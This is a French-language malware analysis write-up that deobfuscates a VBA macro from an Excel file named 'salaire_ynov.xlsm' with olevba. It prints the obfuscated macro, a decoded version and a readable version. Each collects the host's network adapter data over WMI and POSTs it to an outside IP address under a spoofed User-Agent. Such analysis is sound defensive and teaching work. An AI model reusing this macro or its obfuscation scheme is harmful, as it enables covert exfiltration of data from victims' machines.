# Désobfuscation ## Récupération du code En faisant cette commande `olevba3 salaire_ynov.xlsm --decode` nous pouvons récupérer le code, nous avons ainsi un code illisible à comprendre en vbscript ## Trier l'utile et l'inutile En jetant un premier coup d'oeil au code, on peut remarquer un bloc de code avec des fonctions qui ont des noms familiers, comme "setRequestHeader", "IPAdress" ou encore "send", je décide d'isoler ce bout de code et d'y intégrer toutes les fonctions qu'il utilise, on se retrouve avec ce code ```vbs Sub WMI() sWQL = FLQZEsG("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V") Set kZbQjwYZwI = GetObject(FLQZEsG(Chr(43) & Chr(113) & Chr(57) & Chr(&H34) & Chr(Int("&H56")) & Chr(&H72) & Chr(&H4C) & Chr(Int("&H76")) & Chr(Int("&H64")) & Chr(170940 / 2442) & Chr(Int("110")) & Chr(1223 - 1110) & Chr(Int("110")) & Chr(Int("&H4e")) & Chr(Int("&H39")) & Chr(Int("87")) & Chr(101) & "K" & Chr(101) & Chr(Int("&H52")) & "Q" & Chr(Int("56")) & Chr(184600 / 1775) & Chr(Int("121")) & Chr(&H5A) & Chr(Int("49")) & Chr(Int("48")) & Chr(152073 / 2493))) Set dC4BuSkdgWA = kZbQjwYZwI.ExecQuery(sWQL) Set DKr6 = CreateObject(FLQZEsG(Chr(81) & Chr(2414 - 2338) & Chr(Int("99")) & Chr(9876 - 9762) & Chr(266728 / 3031) & "I" & Chr(&H68) & Chr(43) & "H" & Chr(Int("&H30")) & "C" & "o" & Chr(Int("&H76")) & Chr(675 - 565) & Chr(718 - 648) & Chr(99) & Chr(9498 - 9399) & Chr(Int("114")) & Chr(-2313 + 2418) & Chr(2184 - 2111) & Chr(Int("86")) & Chr(103) & Chr(Int("68")) & Chr(52) & Chr(Int("65")) & Chr(3600 - 3492) & Chr(Int("107")) & Chr(Int("&H3d")))) URL = FLQZEsG("oPhSWbpN2wOqXn0DsED1C7hEUQuwWNMKqFjYRvil0lj6+H1f") Debug.Print URL Dim mWDaeVN() For Each oWMIObjEx In dC4BuSkdgWA If Not IsNull(oWMIObjEx.IPAddress) Then Debug.Print Chr(73) & Chr(242240 / 3028) & Chr(Int("58")); oWMIObjEx.IPAddress(0) DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==") DKr6.send oWMIObjEx.IPAddress(0) Debug.Print FLQZEsG(Chr(109) & Chr(Int("&H4f")) & Chr(Int("&H48")) & "T" & Chr(&H58) & Chr(Int("&H66")) & Chr(Int("67")) & Chr(&H45) & Chr(Int("&H30")) & Chr(Int("&H56")) & Chr(&H58) & Chr(Int("52")) & Chr(Int("43")) & Chr(Int("&H6e")) & Chr(Int("49")) & Chr(Int("&H4d"))); oWMIObjEx.DNSHostName For Each oWMIProp In oWMIObjEx.Properties_ If IsArray(oWMIProp.Value) Then For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value) Debug.Print oWMIProp.Name & Chr(Int("40")) & n & Chr(&H29), oWMIProp.Value(n) DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==") DKr6.send oWMIProp.Value(n) Next Else Debug.Print oWMIProp.Name, oWMIProp.Value DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==") DKr6.send oWMIProp.Value End If Next End If Next End Sub ``` ## Utilisation de la macro de Excel En utilisant la macro de Excel ainsi que des Debug.Print, nous sommes capables de comprendre ce qu'affiche réellement les strings illisibles telles que `FLQZEsG("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V")` on se retrouve avec ce code (les Debug.Print ayant été enlevé): ```vbs Sub WMI() sWQL = "Select * From Win32_NetworkAdapterConfiguration" Set kZbQjwYZwI = GetObject("winmgmts:root/CIMV2") Set dC4BuSkdgWA = kZbQjwYZwI.ExecQuery(sWQL) Set DKr6 = CreateObject("MSXML2.ServerXMLHTTP") URL = "http://176.31.120.218:5000/thisis" Dim mWDaeVN() For Each oWMIObjEx In dC4BuSkdgWA If Not IsNull(oWMIObjEx.IPAddress) Then DKr6.Open "POST", URL, TRUE DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00" DKr6.send oWMIObjEx.IPAddress(0) For Each oWMIProp In oWMIObjEx.Properties_ If IsArray(oWMIProp.Value) Then For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value) DKr6.Open "POST", URL, TRUE DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00" DKr6.send oWMIProp.Value(n) Next Else Debug.Print oWMIProp.Name, oWMIProp.Value DKr6.Open "POST", URL, TRUE DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00" DKr6.send oWMIProp.Value End If Next End If Next End Sub ``` ## Compréhension du code avec les noms de variables On commence à avoir un code qui se comprend, pour que ce soit bien clair, on modifie les noms des variables, on arrive à ca: ```vbs Sub WMI() Querry = "Select * From Win32_NetworkAdapterConfiguration" Set Object = GetObject("winmgmts:root/CIMV2") Set QuerryResponses = Object.ExecQuery(Querry) Set ObjectXML = CreateObject("MSXML2.ServerXMLHTTP") URL = "http://176.31.120.218:5000/thisis" For Each response In QuerryResponses If Not IsNull(response.IPAddress) Then ObjectXML.Open "POST", URL, TRUE ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00" ObjectXML.send response.IPAddress(0) For Each property In response.Properties_ If IsArray(property.Value) Then For n = LBound(property.Value) To UBound(property.Value) ObjectXML.Open "POST", URL, TRUE ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00" ObjectXML.send property.Value(n) Next Else ObjectXML.Open "POST", URL, TRUE ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00" ObjectXML.send property.Value End If Next End If Next End Sub ``` ## Conclusion En lisant ce code nous pouvons conclure que celui-ci récupère les informations du réseau de la machine hote, ainsi que toutes ses propriétés, et l'envoie à une adresse ip par une requête post